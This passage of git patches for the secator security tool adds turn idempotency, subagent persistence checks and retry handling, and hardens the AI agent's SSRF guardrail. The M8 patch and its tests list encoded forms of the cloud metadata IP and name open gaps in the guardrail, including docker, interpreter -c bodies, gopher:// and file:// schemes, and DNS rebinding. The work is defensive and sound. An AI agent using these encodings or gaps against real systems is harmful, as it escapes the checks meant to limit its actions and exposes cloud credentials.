_maybe_resume_remote(self): yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 yield from self._run_loop() + self._mark_turn_completed() # C3: record this turn as done so a redelivery won't replay it return True def _save_history(self): @@ -304,6 +316,54 @@ def _save_history(self): return save_history(self.history, self.reports_folder, debug_fn=self.debug) + # ------------------------------------------------------------------------- + # C3: turn-level idempotency (remote/Celery redelivery) + # ------------------------------------------------------------------------- + + def _turn_uuid(self): + """Stable id naming THIS delivery's turn for idempotency. + + ``celery_id`` (the Celery request id) is stamped on the runner context by + the worker entrypoint (``run_command``) and is the SAME across an acks_late + worker-loss redelivery, so it uniquely and idempotently names one turn. + """ + return (self.context or {}).get("celery_id") + + def _turn_completed_marker(self, turn_uuid, query_engine): + """Return the persisted completion marker for ``turn_uuid``, or None.""" + try: + docs = query_engine.search({ + "_type": "ai", + "ai_type": "turn_completed", + "_context.session_id": self.session_id, + "extra_data.turn_uuid": turn_uuid, + }, limit=1) + except Exception as e: # noqa: BLE001 - a marker query must not crash the worker + self.debug(f'C3 idempotency: marker query failed: {e}', sub='llm') + return None + return docs[0] if docs else None + + def _mark_turn_completed(self): + """C3: persist a turn-completion marker once the turn is durably done. + + Remote channel only. Reuses the workspace `_type:"ai"` docs (no new + collection); restore_history_from_db skips this ai_type so it never enters + the transcript. Called by the caller AFTER `_run_loop` returns, so a crash + mid-turn leaves no marker and the partial turn still resumes. + """ + if self.interactive != "remote": + return + turn_uuid = self._turn_uuid() + if not turn_uuid: + return + self.add_result(Ai( + content="", + ai_type="turn_completed", + status="completed", + session_id=self.session_id, + extra_data={"turn_uuid": turn_uuid}, + ), print=False) + # ------------------------------------------------------------------------- # _run_loop: main LLM interaction loop # ------------------------------------------------------------------------- diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index b371213d8..f33ae495e 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -184,5 +184,113 @@ def test_warns_on_non_mongo_backend(self, mock_sys, mock_restore): self.assertTrue(any("remote" in w.message for w in warnings)) +class TestTurnIdempotency(unittest.TestCase): + """C3: an acks_late redelivery of an already-completed turn must NOT replay + _run_loop (no re-run tool actions, no re-billed tokens); a genuinely + incomplete turn must still resume and run.""" + + def _make_task(self, marker_docs, prior_docs, celery_id="turn-abc"): + from secator.tasks.ai import ai + + task = ai.__new__(ai) + task.interactive = "remote" + task.session_id = "sess-123" + task.session_name = "" + task.mode = "chat" + task.model = "gpt-4o" + task.encryptor = None + task.context = {"workspace_id": "ws1", "drivers": ["mongodb"], "celery_id": celery_id} + task.context["ai_tokens"] = 0 + task.run_opts = {"prompt": "continue"} + task._reports_folder = tempfile.mkdtemp(prefix="secator-test-") + task.backend = MagicMock() + task.debug = MagicMock() + task.history = MagicMock() + + engine = MagicMock() + engine.backend = MagicMock() + engine.backend.name = "mongodb" + + def _search(query, limit=0): + # The idempotency marker query is the only one keyed by turn_completed. + if query.get("ai_type") == "turn_completed": + return marker_docs + if query.get("_type") == "ai": + return prior_docs + return [] + engine.search.side_effect = _search + task._get_query_engine = MagicMock(return_value=engine) + return task, engine + + def _drive(self, task): + gen = task._maybe_resume_remote() + restored = None + try: + while True: + next(gen) + except StopIteration as e: + restored = e.value + return restored + + def test_completed_turn_short_circuits_without_replay(self): + """A redelivery whose turn already has a completion marker short-circuits: + _run_loop is not called and no tokens are billed.""" + task, engine = self._make_task( + marker_docs=[{"ai_type": "turn_completed", "extra_data": {"turn_uuid": "turn-abc"}}], + prior_docs=[{"ai_type": "prompt", "content": "hi"}], + ) + task._run_loop = MagicMock(return_value=iter([])) + + with patch("secator.tasks.ai.restore_history_from_db") as mock_restore: + restored = self._drive(task) + + self.assertTrue(restored) # turn handled (as a no-op) + task._run_loop.assert_not_called() # no tool actions replayed + mock_restore.assert_not_called() # didn't even rebuild/append + self.assertEqual(task.context["ai_tokens"], 0) # nothing re-billed + + @patch("secator.tasks.ai.restore_history_from_db") + @patch("secator.tasks.ai.get_system_prompt", return_value="SYS") + def test_incomplete_turn_still_resumes(self, mock_sys, mock_restore): + """No marker (a real mid-turn crash) → the turn resumes and runs _run_loop.""" + mock_restore.return_value = MagicMock(messages=[{"role": "system", "content": "SYS"}]) + task, engine = self._make_task( + marker_docs=[], + prior_docs=[{"ai_type": "prompt", "content": "hi"}], + ) + task._detect_mode = MagicMock() + task._run_loop = MagicMock(return_value=iter([])) + task._mark_turn_completed = MagicMock() + + restored = self._drive(task) + + self.assertTrue(restored) + mock_restore.assert_called_once() + task._run_loop.assert_called_once() + + def test_mark_turn_completed_persists_marker(self): + """_mark_turn_completed persists exactly one turn_completed Ai stamped with + the celery_id turn_uuid; it is a no-op off the remote channel.""" + from secator.output_types import Ai + + task, engine = self._make_task(marker_docs=[], prior_docs=[]) + persisted = [] + task.add_result = lambda item, **kw: persisted.append(item) + + task._mark_turn_completed() + self.assertEqual(len(persisted), 1) + marker = persisted[0] + self.assertIsInstance(marker, Ai) + self.assertEqual(marker.ai_type, "turn_completed") + self.assertEqual(marker.extra_data.get("turn_uuid"), "turn-abc") + self.assertEqual(marker.session_id, "sess-123") + + # Local channel: no marker persisted (idempotency is a remote concern). + persisted.clear() + task.interactive = "local" + task._mark_turn_completed() + self.assertEqual(persisted, []) + + if __name__ == "__main__": unittest.main() From cc688d72dd4ef327d3480ed13634fd87e7dbf064 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:43:10 +0200 Subject: [PATCH 061/129] fix(ai): normalize encoded IPs before SSRF/metadata deny (M8) (#1253) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M8: IP-deny is evadable (SSRF) [P1 Security] Decimal/hex/octal/IPv6-mapped encodings reach `169.254.169.254` (and other blocked IPs); the deny matched literals only. ## Root cause `secator/ai/guardrails.py` — `match_rule()` (pre-fix line ~54) compared IP targets against deny/allow patterns as literal strings via `fnmatch`. The default deny rules (`secator/config.py:263` `target(169.254.169.254)`, `:264` `target(127.0.0.1)`) only caught the exact dotted-quad, so alternate encodings of the same address slipped through: - decimal `2852039166` - hex `0xA9FEA9FE` - octal / dotted hex-octet `0xA9.0xFE.0xA9.0xFE`, `0251.0376.0251.0376` - IPv6-mapped `::ffff:169.254.169.254` / `[::ffff:169.254.169.254]` ## Fix - New `_normalize_ip(candidate) -> ip_address | None` (stdlib `ipaddress`): canonicalizes integer (dec/hex/oct), dotted hex/octal octets, and IPv6-mapped IPv4 down to a single address; returns `None` for hostnames so literal matching is preserved. - New `_ip_in_pattern(ip, pattern)`: treats an IP/CIDR deny/allow pattern as an `ip_network` and tests membership. - `match_rule` normalizes the value once and, for IP/CIDR patterns, matches by network membership (reused uniformly across deny + allow + ask). URL targets already surface their host via `urlparse` in `_check_value`, so `curl http:///…` is covered. **No new policy/config surface** — the same blocked IPs are enforced, just made robust to encodings. CIDR deny rules (e.g. `169.254.0.0/16`) now also work if ever added. ## Now blocked decimal, hex (`0x…`), octal (`0o…`), dotted hex/octal octets, IPv6-mapped IPv4 — all of `169.254.169.254` / `127.0.0.1` / any IP or CIDR deny rule. Normal public IPs (`8.8.8.8`) and hostnames stay allowed; `{port}`, glob, basename and path matching are unchanged. ## Residuals (not fixed here — by design) - **DNS rebinding**: a hostname that resolves to a blocked IP is not caught; hostnames are intentionally NOT resolved in `_normalize_ip` (live DNS in the deny path adds TOCTOU + perf issues). Flagged as residual. - **Bare scheme-less encoded integer as a shell/task target** (e.g. `curl 2852039166` with no `http://`): `_is_network_target` does not classify a bare decimal as a target (deliberately left unchanged — broadening it would misclassify bare port numbers like `8080` as `0.0.31.144`). The URL form is covered. ## Tests `tests/unit/test_ai_guardrails.py::TestEncodedIPDeny` (7 new): normalization of all encodings, non-IP returns `None`, encoded forms denied, public IP still allowed, CIDR membership, `_check_value` deny, and an encoded-URL task action denied end-to-end. Baseline (before): 55 failed, 75 passed. After: 55 failed, 82 passed. The 55 failures are pre-existing/environmental (missing `shfmt`/safecmd shell parser) and the failing set is byte-identical before vs after — the only delta is the 7 new passing tests. `ast.parse` on `guardrails.py` OK. ## Adjacent SSRF/target smells (flagged, not fixed) - `guardrails.py:169` / `:401` — `docker`/`podman` top-level commands skip target detection entirely (`extract_command_targets` returns `[]`); a `docker run … curl http://169.254.169.254` is not target-checked. - `guardrails.py:406` — interpreter `-c` bodies (`python -c`, `bash -c`) skip path AND target extraction; SSRF inside a `-c` string is unseen. - No scheme allow/deny: `file://`, `gopher://`, `dict://` etc. are not modeled (only `http`/`https`/`ftp` recognized) — SSRF via `curl gopher://…` or local file read via `file://` bypasses target logic. - URL-embedded credentials (`http://user:pass@host`) and redirect-following tools (`curl -L`) are not inspected. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 69 +++++++++++++++++++++++++++++++- tests/unit/test_ai_guardrails.py | 49 ++++++++++++++++++++++- 2 files changed, 116 insertions(+), 2 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 88382f3a6..f229dca23 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -1,10 +1,11 @@ """Permission engine for AI guardrails.""" import fnmatch +import ipaddress import re import socket from dataclasses import dataclass, field from functools import lru_cache -from typing import Dict, List, Tuple +from typing import Dict, List, Optional, Tuple, Union from secator.ai.encryption import PII_PATTERNS @@ -51,6 +52,59 @@ def parse_rule(rule: str) -> Tuple[str, List[str]]: return rule_type, values +_IP_INT_RE = re.compile(r'0[xX][0-9a-fA-F]+|0[oO][0-7]+|\d+') +_DOTTED_ODD_RE = re.compile(r'(?:0[xX][0-9a-fA-F]+|0[0-7]+|\d+)(?:\.(?:0[xX][0-9a-fA-F]+|0[0-7]+|\d+)){3}') +IPAddress = Union[ipaddress.IPv4Address, ipaddress.IPv6Address] + + +def _normalize_ip(candidate: str) -> Optional[IPAddress]: + """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) to an ip_address. + + Returns None if the candidate is not an IP (e.g. a hostname) so callers fall back to literal matching. + Hostnames are NOT resolved here (DNS rebinding is a documented residual). + """ + s = candidate.strip() + if not s: + return None + if s.startswith('[') and s.endswith(']'): # [::1] / [::ffff:1.2.3.4] + s = s[1:-1] + ip = None + # Plain dotted-quad / standard IPv6 first (leaves normal targets untouched) + try: + ip = ipaddress.ip_address(s) + except ValueError: + # Integer form: decimal (2852039166), hex (0xA9FEA9FE), octal (0o...) + if _IP_INT_RE.fullmatch(s): + try: + ip = ipaddress.ip_address(int(s, 0) if s[:2].lower() in ('0x', '0o') else int(s)) + except (ValueError, ipaddress.AddressValueError): + return None + # Dotted octets with hex/octal parts (0xA9.0xFE.0xA9.0xFE, 0251.0376.0251.0376) + elif _DOTTED_ODD_RE.fullmatch(s): + try: + octets = [int(p, 0) if p[:2].lower() == '0x' else int(p, 8) if p.startswith('0') and len(p) > 1 else int(p) + for p in s.split('.')] + if all(0 <= o <= 255 for o in octets): + ip = ipaddress.ip_address('.'.join(str(o) for o in octets)) + except (ValueError, ipaddress.AddressValueError): + return None + if ip is None: + return None + # Collapse IPv6-mapped/compatible IPv4 (::ffff:169.254.169.254) down to the v4 address + if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None: + ip = ip.ipv4_mapped + return ip + + +def _ip_in_pattern(ip: IPAddress, pattern: str) -> Optional[bool]: + """M8: True/False if `pattern` is an IP/CIDR literal, else None (pattern isn't an address rule).""" + try: + net = ipaddress.ip_network(pattern, strict=False) + except ValueError: + return None + return ip.version == net.version and ip in net + + def match_rule(value: str, patterns: List[str]) -> bool: """Check if a value matches any of the given patterns. @@ -60,6 +114,7 @@ def match_rule(value: str, patterns: List[str]) -> bool: - Glob patterns (fnmatch) - {port} variable (matches :\\d+) - Basename matching for path-like values (e.g. '.env' matches '/home/user/.env') + - M8: IP/CIDR patterns are matched by normalized address (encoded IPs are canonicalized first) Args: value: The value to check @@ -68,9 +123,21 @@ def match_rule(value: str, patterns: List[str]) -> bool: Returns: True if value matches any pattern """ + # M8: normalize encoded IPs before deny/allow match so alternate encodings can't evade IP rules + norm_ip = _normalize_ip(value) + canon = str(norm_ip) if norm_ip is not None else None for pattern in patterns: if pattern == "*": return True + if norm_ip is not None: + in_pat = _ip_in_pattern(norm_ip, pattern) + if in_pat is not None: + if in_pat: + return True + continue # IP/CIDR pattern that doesn't contain this address — no string fallback + # Non-address pattern (glob/{port}): also test the canonical dotted form + if canon != value and fnmatch.fnmatch(canon, pattern): + return True if "{port}" in pattern: regex_pattern = re.escape(pattern).replace(r"\{port\}", r"\d+") if re.fullmatch(regex_pattern, value): diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index 3cfd8d264..9f937d11a 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -10,7 +10,7 @@ from secator.ai.guardrails import ( parse_rule, match_rule, extract_command_targets, detect_paths, detect_paths_with_access, detect_sensitive_env_vars, classify_command, build_target_choices, PermissionEngine, - _is_file_path + _is_file_path, _normalize_ip ) from secator.output_types import Warning, Error @@ -88,6 +88,53 @@ def test_match_rule_basename_for_paths(self): self.assertFalse(match_rule("example.com", [".com"])) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestEncodedIPDeny(unittest.TestCase): + """M8: alternate IP encodings must not evade an IP/CIDR deny rule.""" + + META = "169.254.169.254" + + def test_normalize_ip_encodings(self): + import ipaddress + expected = ipaddress.ip_address(self.META) + for enc in ("2852039166", "0xA9FEA9FE", "0xa9fea9fe", + "::ffff:169.254.169.254", "[::ffff:169.254.169.254]", + "0xA9.0xFE.0xA9.0xFE", "169.254.169.254"): + self.assertEqual(_normalize_ip(enc), expected, enc) + + def test_normalize_ip_non_ip(self): + # Hostnames and port-suffixed values are not IPs (no DNS resolution here) + self.assertIsNone(_normalize_ip("example.com")) + self.assertIsNone(_normalize_ip("10.0.0.1:8080")) + + def test_encoded_forms_denied(self): + deny = ["169.254.169.254"] + for enc in ("2852039166", "0xA9FEA9FE", "::ffff:169.254.169.254", "169.254.169.254"): + self.assertTrue(match_rule(enc, deny), enc) + + def test_public_ip_still_allowed(self): + # A normal public IP must not match the metadata deny rule + self.assertFalse(match_rule("8.8.8.8", ["169.254.169.254"])) + self.assertFalse(match_rule("93.184.216.34", ["169.254.169.254"])) + + def test_cidr_deny_membership(self): + # Encoded link-local addresses fall inside a CIDR deny rule + self.assertTrue(match_rule("2852039166", ["169.254.0.0/16"])) + self.assertFalse(match_rule("8.8.8.8", ["169.254.0.0/16"])) + + def test_check_value_denies_encoded_targets(self): + engine = PermissionEngine(config=dict(deny=["target(169.254.169.254)"], allow=["target(*)"])) + for enc in ("2852039166", "0xA9FEA9FE", "::ffff:169.254.169.254"): + self.assertEqual(engine._check_value("target", enc).decision, "deny", enc) + self.assertEqual(engine._check_value("target", "8.8.8.8").decision, "allow") + + def test_encoded_url_target_denied(self): + # curl http:/// resolves to the metadata IP → deny (via URL host extraction) + engine = PermissionEngine(config=dict(deny=["target(169.254.169.254)"], allow=["task(*)", "target(*)"])) + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["http://2852039166/latest/meta-data/"]}) + self.assertEqual(result.decision, "deny") + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestDetection(unittest.TestCase): From 563a4af48080b39a6047bfb287abde9d7464d660 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:43:13 +0200 Subject: [PATCH 062/129] fix(ai): surface/prevent persistence-less subagent spawns (M2) (#1252) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M2: Hook rebuild silently drops persistence (P2, Robustness) When a subagent/child runner is spawned, its persistence hooks (mongodb/api `update_runner`/`update_finding`, etc.) are reconstructed from `context['drivers']`. If that rebuild returned empty (drivers missing, none supported, nothing imported) **or raised**, the child was constructed with `hooks={}` and ran to completion while silently persisting **nothing** — findings/docs vanished with no error surfaced. ## Root cause `secator/ai/actions.py:553` (pre-change): `hooks = _build_hooks_from_context(context)` fed straight into `runner_cls(..., hooks=hooks, ...)`. `_build_hooks_from_context` returns `{}` on empty/unsupported drivers and would propagate on an import raise — either way the child lost persistence with no signal. ## Approach — refuse (not inherit) `context` already carries the parent's `drivers` (copied via `_get_result_context`), so `_build_hooks_from_context(context)` is already using the parent's drivers. If it comes back empty despite the parent having drivers, re-running the same rebuild (inherit) can't help — the parent's live hook objects aren't reachable from `ctx`, only the driver names are. So the honest fix is to **refuse the spawn** and surface a denial `Warning`. New tiny helper `_build_child_hooks_or_denial(context) -> (hooks, denial)`: - parent has drivers + rebuild empty → denial Warning, no spawn - parent has drivers + rebuild raises → caught narrowly, denial Warning (not `hooks={}`) - parent has **no** drivers → empty-hooks child allowed (legit local/no-persistence) The denial uses the same `Warning(message=..., _context=context)` shape H4/C1 use (yielded + returned to the LLM). `_run_runner` yields it and returns before constructing the child. DRY: reuses `_build_hooks_from_context` and the existing Warning mechanism; +36/-1 in `actions.py`. ## Tests Baseline: **64 passed**. After: **71 passed** (7 new). - One existing test (`test_run_runner_propagates_session_id`) stubbed `hooks={}` while its context had `drivers` — that was incidental to its session_id purpose; its mock now returns a non-empty sentinel so it exercises the normal path. - New `TestChildHooksOrDenial`: parent-no-drivers empty ok; drivers+hooks pass through; drivers+empty denied; rebuild-raise-with-drivers denied (not swallowed); rebuild-raise-no-drivers allowed; end-to-end `_run_runner` refuses (Task never constructed) with drivers; end-to-end no-drivers spawns normally. `ast.parse` on `actions.py` passes. ## Extra findings (flagged, not fixed) - `secator/ai/actions.py:555` — on refusal (and on `TaskNotFoundError`) the child runner status is never reconciled; more broadly a child whose parent later fails mid-turn has no status-reconciliation path (adjacent to M10's pending-doc work). - `secator/ai/actions.py:602` (`_get_result_context`) — `ctx.context.copy()` is a shallow copy; the child's `context['drivers']` is an **alias** of the parent list, so a child mutating `drivers` would mutate the parent's. Not exploited here but a latent aliasing smell in the driver-context propagation. Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 37 ++++++++++++++- tests/unit/test_ai_actions.py | 87 ++++++++++++++++++++++++++++++++++- 2 files changed, 122 insertions(+), 2 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index acd969519..98e7820b6 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -119,6 +119,37 @@ def _build_hooks_from_context(context: Dict) -> Dict: return deep_merge_dicts(*hooks_list) +def _build_child_hooks_or_denial(context: Dict) -> Tuple[Dict, Optional["Warning"]]: + """M2: rebuild the child's persistence hooks, refusing a persistence-less child. + + ``context`` carries the parent's ``drivers`` (copied via ``_get_result_context``), + so an empty/failed rebuild while the parent HAS drivers means the child would run + to completion and silently persist nothing (lost findings/docs). In that case + return a denial ``Warning`` (same shape H4/C1 use) so the caller yields it and + skips the spawn. When the parent itself has no drivers (pure local/no-persistence + run) an empty-hooks child is expected and allowed. + + Returns ``(hooks, denial)``; if ``denial`` is non-None the caller must not spawn. + """ + parent_has_drivers = bool(context.get('drivers')) + try: + hooks = _build_hooks_from_context(context) + except Exception as e: # narrow to the rebuild — surface, don't degrade to hooks={} + if parent_has_drivers: + return {}, Warning( + message=f"Subagent spawn denied: persistence hook rebuild failed — {type(e).__name__}: {e}", + _context=context, + ) + return {}, None + if parent_has_drivers and not hooks: + return {}, Warning( + message="Subagent spawn denied: parent has persistence drivers but child hook rebuild " + "was empty (would silently drop findings/docs)", + _context=context, + ) + return hooks, None + + def _build_action_display(action: Dict) -> str: """Build a display string for the action being checked. @@ -550,7 +581,11 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # _get_result_context), but a sync sub-runner never goes through the pickle # path that re-registers driver hooks — so without this its results would # persist with no workspace scope and never appear in the workspace History. - hooks = _build_hooks_from_context(context) + # M2: don't silently spawn a persistence-less child when the parent has drivers + hooks, denial = _build_child_hooks_or_denial(context) + if denial is not None: + yield denial + return try: runner = runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context) except TaskNotFoundError as e: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 54449b74b..c79002d44 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -11,6 +11,7 @@ ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, _build_hooks_from_context, _coerce_finding_fields, _sanitize_child_opts, + _build_child_hooks_or_denial, _MAX_CHILD_ITERATIONS, _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -364,7 +365,8 @@ def test_run_runner_propagates_session_id(self, mock_build_hooks, mock_task_cls, (the conversation id) so its persisted runner doc is queryable by the conversation. session_id may be derived (not already in ctx.context), so it must be stamped from ctx.session_id.""" - mock_build_hooks.return_value = {} + # non-empty: context has drivers, so empty hooks would trip the M2 guard + mock_build_hooks.return_value = {'fake': ['hook']} mock_runner = MagicMock() mock_runner.id = 'runner123' mock_runner.reports_folder = None @@ -539,6 +541,89 @@ def test_skips_unsupported_driver(self, mock_import, _disc, mock_order, mock_ava mock_import.assert_not_called() +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestChildHooksOrDenial(unittest.TestCase): + """M2: refuse to spawn a persistence-less child when the parent has drivers.""" + + @patch('secator.ai.actions._build_hooks_from_context') + def test_parent_no_drivers_empty_hooks_allowed(self, mock_build): + # pure local/no-persistence run: empty hooks child is expected, no denial + mock_build.return_value = {} + hooks, denial = _build_child_hooks_or_denial({'workspace_id': 'ws1'}) + self.assertEqual(hooks, {}) + self.assertIsNone(denial) + + @patch('secator.ai.actions._build_hooks_from_context') + def test_parent_drivers_present_hooks_pass_through(self, mock_build): + # normal spawn: drivers present + non-empty hooks -> pass through unchanged + sentinel = {'fake': ['hook']} + mock_build.return_value = sentinel + hooks, denial = _build_child_hooks_or_denial({'drivers': ['mongodb']}) + self.assertEqual(hooks, sentinel) + self.assertIsNone(denial) + + @patch('secator.ai.actions._build_hooks_from_context') + def test_parent_drivers_but_empty_hooks_denied(self, mock_build): + # parent HAS drivers but rebuild produced no hooks -> refuse, surface Warning + mock_build.return_value = {} + hooks, denial = _build_child_hooks_or_denial({'drivers': ['mongodb']}) + self.assertEqual(hooks, {}) + self.assertIsInstance(denial, Warning) + self.assertIn('drop findings', denial.message) + + @patch('secator.ai.actions._build_hooks_from_context') + def test_rebuild_raise_with_drivers_denied_not_swallowed(self, mock_build): + # a raising rebuild must not degrade to hooks={} silently -> Warning + mock_build.side_effect = RuntimeError('boom') + hooks, denial = _build_child_hooks_or_denial({'drivers': ['mongodb']}) + self.assertEqual(hooks, {}) + self.assertIsInstance(denial, Warning) + self.assertIn('rebuild failed', denial.message) + + @patch('secator.ai.actions._build_hooks_from_context') + def test_rebuild_raise_no_drivers_allowed(self, mock_build): + # no parent drivers: a rebuild error still yields an allowed empty-hooks child + mock_build.side_effect = RuntimeError('boom') + hooks, denial = _build_child_hooks_or_denial({'workspace_id': 'ws1'}) + self.assertEqual(hooks, {}) + self.assertIsNone(denial) + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_refuses_spawn_on_lost_persistence(self, mock_build, mock_task_cls, _tpl): + # end-to-end: parent has drivers, rebuild empty -> _run_runner yields a + # Warning and never constructs the child runner + mock_build.return_value = {} + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + results = list(_run_runner(action, ctx, 'task')) + mock_task_cls.assert_not_called() + warnings = [r for r in results if isinstance(r, Warning)] + self.assertEqual(len(warnings), 1) + self.assertIn('denied', warnings[0].message) + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_no_drivers_spawns_normally(self, mock_build, mock_task_cls, _tpl): + # parent has NO drivers: empty-hooks child still spawns (no false alarm) + mock_build.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + results = list(_run_runner(action, ctx, 'task')) + mock_task_cls.assert_called_once() + self.assertFalse([r for r in results if isinstance(r, Warning)]) + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestGetQueryEngine(unittest.TestCase): """Tests for ActionContext.get_query_engine caching and backend selection.""" From 8747d9fac68123da227af2ddc96174f7be2a4ae0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:43:17 +0200 Subject: [PATCH 063/129] fix(ai): 400s fail fast except orphan-tool repair (M4) (#1251) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding (M4, P3 Robustness) `litellm.BadRequestError` (HTTP 400) was in the general `retryable` tuple, so non-transient 400s (context_length_exceeded, malformed request, unsupported param) were retried 3x with backoff before the run died anyway — wasting time/tokens. The nearby comment also implied 400s were transient. ## Root cause `secator/ai/utils.py:302` (pre-fix) — `BadRequestError` listed in `retryable`, and the orphan-tool_use 400 was only caught because of that membership. ## Fix - Removed `BadRequestError` from `retryable`. - Added a dedicated `except litellm.BadRequestError` branch **before** the transient tuple: - orphan `tool_use`/`tool_result` 400 → `_repair_orphan_tool_uses` + `continue` (not counted as an attempt) — H2's repair path preserved exactly. - any other 400 → clear `Error` + immediate `raise` (fail fast, no 3x spin). - Transient errors (500/429/503/connection/APIError) keep retry + exponential backoff. - Corrected the misleading comment. Placing the `BadRequestError` clause first guarantees correct dispatch regardless of the litellm/openai exception hierarchy. ## Tests (baseline 20 → after 23, all pass) Added to `TestCallLLM`: - non-orphan 400 raises immediately, `completion.call_count == 1`, no sleep; - orphan 400 still repairs + retries (`call_count == 2`, no sleep); - transient `RateLimitError` still retries then succeeds (`call_count == 2`, one sleep). ## Extra findings (not fixed here) - **M3** flat `max_tokens_total` trim ignores the model context window — `secator/ai/utils.py:17`/`:227` area (token-count helpers) and wherever the trim threshold is applied; a per-model window would be more correct. - Backoff smell: fixed `2 ** attempt` sleep with **no jitter** (`secator/ai/utils.py:325`) — thundering-herd risk under correlated rate limits. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/utils.py | 13 ++++-- tests/unit/test_ai_utils.py | 81 +++++++++++++++++++++++++++++++++++++ 2 files changed, 90 insertions(+), 4 deletions(-) diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 2ba6ff50e..83da2e5a6 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -297,25 +297,30 @@ def call_llm( # a matching tool_result). Safety net in case the caller bypassed ChatHistory. _repair_orphan_tool_uses(kwargs["messages"]) + # M4: 400s are non-transient (malformed request, context_length_exceeded, ...) — + # handled separately below and NOT in this transient-retry tuple. retryable = ( litellm.InternalServerError, litellm.RateLimitError, - litellm.ServiceUnavailableError, litellm.APIConnectionError, litellm.BadRequestError, + litellm.ServiceUnavailableError, litellm.APIConnectionError, litellm.APIError ) for attempt in range(1, max_retries + 1): try: response = litellm.completion(**kwargs) break - except retryable as e: - # Detect the specific "orphan tool_use" error and repair before retry. + except litellm.BadRequestError as e: + # M4: 400s fail fast, except the orphan tool_use case which we repair + # and retry (not counted as an attempt — the repair is the real fix). err_str = str(e) if 'tool_use' in err_str and 'tool_result' in err_str: repaired = _repair_orphan_tool_uses(kwargs["messages"]) if repaired: console.print(Warning( message=f"Repaired {repaired} orphan tool_use block(s); retrying LLM call.")) - # Don't count this as a retry attempt — the repair is the real fix. continue + console.print(Error(message=f"LLM call failed with non-retryable 400: {e}")) + raise + except retryable as e: if attempt < max_retries: wait = 2 ** attempt console.print(Warning( diff --git a/tests/unit/test_ai_utils.py b/tests/unit/test_ai_utils.py index 7f4821f52..8140bde4e 100644 --- a/tests/unit/test_ai_utils.py +++ b/tests/unit/test_ai_utils.py @@ -241,6 +241,87 @@ def test_call_llm_tool_call_with_malformed_json(self, mock_completion): self.assertEqual(tc.function.name, "broken_tool") self.assertEqual(tc.function.arguments, "{not valid json") + @patch('time.sleep') + @patch('litellm.completion') + def test_call_llm_non_orphan_400_fails_fast(self, mock_completion, mock_sleep): + """M4: a plain (non-orphan) 400 is raised immediately, NOT retried 3x.""" + import litellm + from secator.ai.utils import call_llm + + err = litellm.BadRequestError( + message="litellm.BadRequestError: context_length_exceeded", + model="test-model", llm_provider="anthropic", + ) + mock_completion.side_effect = err + + with self.assertRaises(litellm.BadRequestError): + call_llm([{"role": "user", "content": "hi"}], "test-model", max_retries=3) + + self.assertEqual(mock_completion.call_count, 1) # no 3x spin + mock_sleep.assert_not_called() + + @patch('time.sleep') + @patch('litellm.completion') + def test_call_llm_orphan_400_repairs_and_retries(self, mock_completion, mock_sleep): + """M4: the orphan tool_use 400 still triggers repair-and-retry (no fail-fast).""" + import litellm + from secator.ai.utils import call_llm + + ok_response = MagicMock() + ok_response.choices = [MagicMock(message=MagicMock(content="ok", tool_calls=None))] + ok_response.usage = None + + err = litellm.BadRequestError( + message="AnthropicException - tool_use ids were found without 